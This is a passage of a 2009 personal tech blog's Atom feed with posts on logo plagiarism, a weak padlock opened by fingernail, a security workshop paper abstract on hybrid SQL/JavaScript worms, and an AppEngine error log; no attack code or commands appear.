10px; display: block; text-align: center; cursor: pointer; width: 108px; height: 271px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SvsO5_dFkHI/AAAAAAAAAJQ/iX6v8DzXClU/s320/kibon.jpg" alt="" id="BLOGGER_PHOTO_ID_5402928567409807474" border="0" /&gt;&lt;/a&gt;The TinEye approach did not work also for detecting one of my favorite plagiarisms: &lt;a href="http://www.livra.com/"&gt;Livra&lt;/a&gt; (a prosumer web company from Argentina) versus &lt;a href="http://www.counterpath.net/home.html"&gt;CounterPath&lt;/a&gt; (a VoIP client software company).&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SvsYzXyZz_I/AAAAAAAAAJY/0BJ-_0HJX68/s1600-h/plag.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 47px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SvsYzXyZz_I/AAAAAAAAAJY/0BJ-_0HJX68/s320/plag.png" alt="" id="BLOGGER_PHOTO_ID_5402939448798859250" border="0" /&gt;&lt;/a&gt;We can conclude that plagiarism is usually accepted within an organisation because the organisation owns the copyright of the logo and can reuse and modify it without permission of the original graphic designer whether it works for the company or not.&lt;br /&gt;&lt;br /&gt;Finally, swiss site &lt;a href="http://http//www.plagiat.ch/"&gt;Plagiat&lt;/a&gt; is completely devoted to plagiarism in it's various forms.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-4641017660372858139?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/4641017660372858139/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/11/detecting-shameless-logo-plagiarism.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4641017660372858139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4641017660372858139'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/11/detecting-shameless-logo-plagiarism.html' title='Detecting Shameless Logo Plagiarism!'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tJD3vUnZtL0/SvsGNOWoZYI/AAAAAAAAAJI/GBo-xB6PmoE/s72-c/logo-theft-3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-6771092321430285371</id><published>2009-09-20T18:28:00.000-07:00</published><updated>2009-09-20T18:38:36.712-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='locks'/><category scheme='http://www.blogger.com/atom/ns#' term='herralfer'/><category scheme='http://www.blogger.com/atom/ns#' term='lockpicking'/><category scheme='http://www.blogger.com/atom/ns#' term='candado'/><title type='text'>¡Equipo de Ganzuas Básico!</title><content type='html'>&lt;div style="text-align: justify;"&gt;¡Me quería meter en el mundo de la seguridad física! Entonces me compré un equipo básico de &lt;a href="http://en.wikipedia.org/wiki/Lock_picking"&gt;lockpicking&lt;/a&gt; en la conferencia &lt;a href="http://www.ekoparty.org/"&gt;Ekoparty&lt;/a&gt; de la gente de &lt;a href="http://toool.nl/"&gt;TOOOL&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/SrbPt-b5rgI/AAAAAAAAAHA/bFbRrkGiBnY/s1600-h/lockpicking.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/SrbPt-b5rgI/AAAAAAAAAHA/bFbRrkGiBnY/s400/lockpicking.jpg" alt="" id="BLOGGER_PHOTO_ID_5383718793329094146" border="0" /&gt;&lt;/a&gt;Como no tenía nada para abrir con el equipo (solo sirve para candados comunes, no para &lt;a href="http://en.wikipedia.org/wiki/Lever_tumbler_lock"&gt;candados tipo palanca&lt;/a&gt;). Luego me compré un pequeño candado SilverShadow, 30 mm, para probar el equipo. Este candado es importado por Herralfer S.A. de China.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbU8B4O3DI/AAAAAAAAAHw/vqS2MleeCls/s1600-h/herralfer1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbU8B4O3DI/AAAAAAAAAHw/vqS2MleeCls/s400/herralfer1.jpg" alt="" id="BLOGGER_PHOTO_ID_5383724532329536562" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SrbVDpBBD3I/AAAAAAAAAH4/21s0iE7yUEg/s1600-h/herralfer2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SrbVDpBBD3I/AAAAAAAAAH4/21s0iE7yUEg/s400/herralfer2.jpg" alt="" id="BLOGGER_PHOTO_ID_5383724663094447986" border="0" /&gt;&lt;/a&gt;La sopresa fue que solamente tuve que la pequeña palanca para abrirlo ¡Este candado no provee ningún nivel de seguridad! ¡Solamente necesitás girar el mecanismo con algo! ¡Incluso funcionó con mi uña!&lt;br /&gt;&lt;br /&gt;Miren las fotos con la palanca, algo de tensión alcanza.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbT2gy3SgI/AAAAAAAAAHI/NjkNcSuqc8Y/s1600-h/lever1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbT2gy3SgI/AAAAAAAAAHI/NjkNcSuqc8Y/s400/lever1.jpg" alt="" id="BLOGGER_PHOTO_ID_5383723338037676546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUCwwSvKI/AAAAAAAAAHQ/wUDQlwvtaVc/s1600-h/lever2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUCwwSvKI/AAAAAAAAAHQ/wUDQlwvtaVc/s400/lever2.jpg" alt="" id="BLOGGER_PHOTO_ID_5383723548480289954" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUJuffO-I/AAAAAAAAAHY/trAkQP5iKDM/s1600-h/lever3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUJuffO-I/AAAAAAAAAHY/trAkQP5iKDM/s400/lever3.jpg" alt="" id="BLOGGER_PHOTO_ID_5383723668132019170" border="0" /&gt;&lt;/a&gt;Ahora una foto con mi uña abriendo el candado. ¡No hizo falta el equipo hoy!&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbUdN4aMGI/AAAAAAAAAHg/48q-5zvt-MU/s1600-h/nail.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbUdN4aMGI/AAAAAAAAAHg/48q-5zvt-MU/s400/nail.jpg" alt="" id="BLOGGER_PHOTO_ID_5383724002975559778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;La moraleja de hoy es que no importa que tan fuerte sea el metal del candado, si el mecanismo es pobre, entonces el candado no provee seguridad.&lt;br /&gt;&lt;br /&gt;Probablemente voy a enviar una queja a la empresa que importa estos candados. Esta es la información si quieren hacer lo mismo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-weight: bold;"&gt;Herralfer S.A.&lt;/span&gt;&lt;br /&gt;www.herralfer.com.ar&lt;br /&gt;CUIT 30-66108409-6&lt;br /&gt;Carrasco 729/31 (C1407)&lt;br /&gt;Buenos Aires - Argentina&lt;br /&gt;Telefax: (5411) 4139-8978&lt;br /&gt;E-mail: info@herralfer.com.ar&lt;br /&gt;FABRICADO EN CHINA&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-6771092321430285371?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/6771092321430285371/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/09/equipo-de-ganzuas-basico.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6771092321430285371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6771092321430285371'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/09/equipo-de-ganzuas-basico.html' title='¡Equipo de Ganzuas Básico!'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/SrbPt-b5rgI/AAAAAAAAAHA/bFbRrkGiBnY/s72-c/lockpicking.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-8534988276673826276</id><published>2009-09-20T17:47:00.000-07:00</published><updated>2009-09-20T18:40:41.569-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='locks'/><category scheme='http://www.blogger.com/atom/ns#' term='lockpicking'/><category scheme='http://www.blogger.com/atom/ns#' term='ekoparty'/><category scheme='http://www.blogger.com/atom/ns#' term='toool'/><title type='text'>Basic Lockpicking Kit!</title><content type='html'>&lt;div style="text-align: justify;"&gt;I wanted to introduce myself into the world of physical security! So I bought a basic &lt;a href="http://en.wikipedia.org/wiki/Lock_picking"&gt;lockpicking&lt;/a&gt; kit at &lt;a href="http://www.ekoparty.org/"&gt;Ekoparty&lt;/a&gt; from the guys of &lt;a href="http://toool.nl/"&gt;TOOOL&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/SrbPt-b5rgI/AAAAAAAAAHA/bFbRrkGiBnY/s1600-h/lockpicking.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/SrbPt-b5rgI/AAAAAAAAAHA/bFbRrkGiBnY/s400/lockpicking.jpg" alt="" id="BLOGGER_PHOTO_ID_5383718793329094146" border="0" /&gt;&lt;/a&gt;I didn't have anything that can be opened with the kit (it is only useful for classic locks, not &lt;a href="http://en.wikipedia.org/wiki/Lever_tumbler_lock"&gt;lever locks&lt;/a&gt;). Then I bought a SilverShadow small lock, 30 mm, to test the kit. This lock is imported by Herralfer S.A. from China.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbU8B4O3DI/AAAAAAAAAHw/vqS2MleeCls/s1600-h/herralfer1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbU8B4O3DI/AAAAAAAAAHw/vqS2MleeCls/s400/herralfer1.jpg" alt="" id="BLOGGER_PHOTO_ID_5383724532329536562" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SrbVDpBBD3I/AAAAAAAAAH4/21s0iE7yUEg/s1600-h/herralfer2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SrbVDpBBD3I/AAAAAAAAAH4/21s0iE7yUEg/s400/herralfer2.jpg" alt="" id="BLOGGER_PHOTO_ID_5383724663094447986" border="0" /&gt;&lt;/a&gt;The surprise is that I only have to use the small lever to open it. This lock don't provide any security at all! You just need to turn the mechanism with something! It even worked with my nail!&lt;br /&gt;&lt;br /&gt;Check the photos with the lever, some tension is enough.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbT2gy3SgI/AAAAAAAAAHI/NjkNcSuqc8Y/s1600-h/lever1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbT2gy3SgI/AAAAAAAAAHI/NjkNcSuqc8Y/s400/lever1.jpg" alt="" id="BLOGGER_PHOTO_ID_5383723338037676546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUCwwSvKI/AAAAAAAAAHQ/wUDQlwvtaVc/s1600-h/lever2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUCwwSvKI/AAAAAAAAAHQ/wUDQlwvtaVc/s400/lever2.jpg" alt="" id="BLOGGER_PHOTO_ID_5383723548480289954" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUJuffO-I/AAAAAAAAAHY/trAkQP5iKDM/s1600-h/lever3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SrbUJuffO-I/AAAAAAAAAHY/trAkQP5iKDM/s400/lever3.jpg" alt="" id="BLOGGER_PHOTO_ID_5383723668132019170" border="0" /&gt;&lt;/a&gt;Now a photo of my nail opening the lock. No need for the kit today!&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbUdN4aMGI/AAAAAAAAAHg/48q-5zvt-MU/s1600-h/nail.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/SrbUdN4aMGI/AAAAAAAAAHg/48q-5zvt-MU/s400/nail.jpg" alt="" id="BLOGGER_PHOTO_ID_5383724002975559778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Today's moral is that it does not matter the strength of the lock metal, if the mechanism is poor then the lock does not provide security.&lt;br /&gt;&lt;br /&gt;I will probably send a complain to the company importing these locks. This is the information if you want to do the same:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-weight: bold;"&gt;Herralfer S.A.&lt;/span&gt;&lt;br /&gt;www.herralfer.com.ar&lt;br /&gt;CUIT 30-66108409-6&lt;br /&gt;Carrasco 729/31 (C1407)&lt;br /&gt;Buenos Aires - Argentina&lt;br /&gt;Telefax: (5411) 4139-8978&lt;br /&gt;E-mail: info@herralfer.com.ar&lt;br /&gt;FABRICADO EN CHINA&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-8534988276673826276?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/8534988276673826276/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/09/basic-lockpicking-kit.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8534988276673826276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8534988276673826276'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/09/basic-lockpicking-kit.html' title='Basic Lockpicking Kit!'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/SrbPt-b5rgI/AAAAAAAAAHA/bFbRrkGiBnY/s72-c/lockpicking.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7787623597690246547</id><published>2009-08-21T14:30:00.000-07:00</published><updated>2009-09-24T12:26:35.635-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mardel'/><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='mdq'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='workshop'/><title type='text'>Workshop de Seguridad Informática 2009 en las 38 JAIIO</title><content type='html'>Voy a ir a este &lt;a href="http://wsegi.com.ar/"&gt;workshop de Seguridad Informática&lt;/a&gt;, es el primero que se hace en Argentina creo. ¿Alguién más va? &lt;a href="http://www.scribd.com/doc/19081797/wsegi2009orlicki"&gt;Aca esta&lt;/a&gt; el artículo que presento.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/So8SrQwTc3I/AAAAAAAAAGM/rsjCaj6qtnc/s1600-h/WSegI2009_afiche_amarillo.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 142px; height: 400px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/So8SrQwTc3I/AAAAAAAAAGM/rsjCaj6qtnc/s400/WSegI2009_afiche_amarillo.jpg" alt="" id="BLOGGER_PHOTO_ID_5372533414917534578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;SQL/JavaScript Hybrid Worms As Two-stage Quines&lt;/span&gt;&lt;br /&gt;Delving into present trends and anticipating future malware trends, a hybrid, SQL on the server-side, JavaScript on the client-side, self-replicating worm based on two-stage quines was designed and implemented on an ad-hoc scenario instantiating a very common software pattern. The proof of concept code combines techniques seen in the wild, in the form of SQL injections leading to cross-site scripting JavaScript inclusion, and seen in the laboratory, in the form of SQL quines propagated via RFIDs, resulting in a hybrid code injection. General features of hybrid worms are also discussed.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7787623597690246547?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7787623597690246547/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/08/workshop-de-seguridad-informatica-2009.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7787623597690246547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7787623597690246547'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/08/workshop-de-seguridad-informatica-2009.html' title='Workshop de Seguridad Informática 2009 en las 38 JAIIO'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tJD3vUnZtL0/So8SrQwTc3I/AAAAAAAAAGM/rsjCaj6qtnc/s72-c/WSegI2009_afiche_amarillo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-6879977923515087974</id><published>2009-07-23T02:57:00.000-07:00</published><updated>2009-07-23T12:43:12.855-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='uptime'/><category scheme='http://www.blogger.com/atom/ns#' term='orable'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='appengine'/><title type='text'>Google AppEngine 99.9% Up-time With ORACLE?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/Smg4PjUfwgI/AAAAAAAAAFk/qC3-4CcoL-g/s1600-h/appengine_bizarrre_error.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 262px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/Smg4PjUfwgI/AAAAAAAAAFk/qC3-4CcoL-g/s400/appengine_bizarrre_error.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5361597196214977026" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I am testing a little application on Google AppEngine to send Twitter updates to my cellphone. For two-weeks this free cloud-computing hosting has just worked perfectly.  But a couple of days ago it  throwed a strange error (check it below). The system makes a cron web request every 2 minutes. That is a honorable 99.9% aprox up-time! Apparently they say I consumed some quota but I was using almost nothing of it. What is  weirder is that I received an ORACLE error on my cellphone!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;&lt;a href="http://ora-00604.ora-code.com/"&gt;ORA-00604&lt;/a&gt;: error occurred at recursive SQL level 1&lt;br /&gt;&lt;a href="http://ora-02067.ora-code.com/"&gt;ORA-02067&lt;/a&gt;: transaction or savepoint rollback required&lt;br /&gt;&lt;a href="http://ora-02067.ora-code.com/"&gt;ORA-02067&lt;/a&gt;: transaction or savepoint rollback required&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is the AppEngine detailed error I get from the webapp cloud log. You can see that the error raises from the AppEngine DataStore, maybe is a limitations not observable from the application dashboard and it's quotas. But on the other side the ORACLE error codes indicate that the problem is a concurrency bug in the DB. &lt;br /&gt;&lt;br /&gt;The lesson we learned from Cloud Computing is that you can't debug or report this kind of errors because you don't know who is responsable (in this case Google, Twitter, Claro-phoneprovider or me?), besides the inability to replicate them.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;h5&gt;&lt;br /&gt;&lt;span&gt;07-20 01:08PM 19.632&lt;/span&gt;&lt;br /&gt;&lt;span class="file"&gt;/broadcast/realtime&lt;/span&gt;&lt;br /&gt;&lt;span class="snippet" title="Status"&gt;500&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="snippet" title="Request Time/Latency"&gt;4913ms&lt;/span&gt;&lt;br /&gt;&lt;span class="snippet ae-alert ae-alert-text" title="This request used a high amount of CPU and may soon exceed its quota"&gt;&lt;br /&gt;8181cpu_ms&lt;br /&gt;8013api_cpu_ms&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;0kb&lt;br /&gt;&lt;/h5&gt;&lt;br /&gt;&lt;pre class="ae-pre-wrap"&gt;0.1.0.1 - - [20/Jul/2009:13:08:24 -0700] "GET /broadcast/realtime HTTP/1.1" 500 84 - - "twittus.appspot.com"&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="ae-logs-applog"&gt;&lt;br /&gt;&lt;h5&gt;&lt;br /&gt;E &lt;span&gt;07-20 01:08PM 24.533&lt;/span&gt;&lt;br /&gt;&lt;/h5&gt;&lt;br /&gt;&lt;pre class="ae-logs-expanded ae-pre-wrap"&gt;Traceback (most recent call last):&lt;br /&gt;  File "/base/python_lib/versions/1/google/appengine/ext/webapp/__init__.py", line 501, in __call__&lt;br /&gt;    handler.get(*groups)&lt;br /&gt;  File "/base/data/home/apps/twittus/1.335015795539495654/broadcast.py", line 59, in get&lt;br /&gt;    if get_status().status == 0:&lt;br /&gt;  File "/base/data/home/apps/twittus/1.335015795539495654/broadcast.py", line 20, in get_status&lt;br /&gt;    for s in TwittusStatus().all().fetch(1):&lt;br /&gt;  File "/base/python_lib/versions/1/google/appengine/ext/db/__init__.py", line 1426, in fetch&lt;br /&gt;    raw = self._get_query().Get(limit, offset)&lt;br /&gt;  File "/base/python_lib/versions/1/google/appengine/api/datastore.py", line 959, in Get&lt;br /&gt;    return self._Run(limit, offset)._Get(limit)&lt;br /&gt;  File "/base/python_lib/versions/1/google/appengine/api/datastore.py", line 903, in _Run&lt;br /&gt;    _ToDatastoreError(err)&lt;br /&gt;  File "/base/python_lib/versions/1/google/appengine/api/datastore.py", line 2055, in _ToDatastoreError&lt;br /&gt;    raise errors[err.application_error](err.error_detail)&lt;br /&gt;Timeout&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-6879977923515087974?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/6879977923515087974/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/07/google-appengine-999-up-time-with.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6879977923515087974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6879977923515087974'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/07/google-appengine-999-up-time-with.html' title='Google AppEngine 99.9% Up-time With ORACLE?'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tJD3vUnZtL0/Smg4PjUfwgI/AAAAAAAAAFk/qC3-4CcoL-g/s72-c/appengine_bizarrre_error.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-294829768673651045</id><published>2009-07-05T19:48:00.000-07:00</published><updated>2009-07-05T20:23:39.089-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='secure'/><category scheme='http://www.blogger.com/atom/ns#' term='encrypted'/><category scheme='http://www.blogger.com/atom/ns#' term='pro'/><title type='text'>Facebook Secure Pro, Encripting it!</title><content type='html'>&lt;a href="http://userscripts.org/scripts/show/49079"&gt;&lt;a 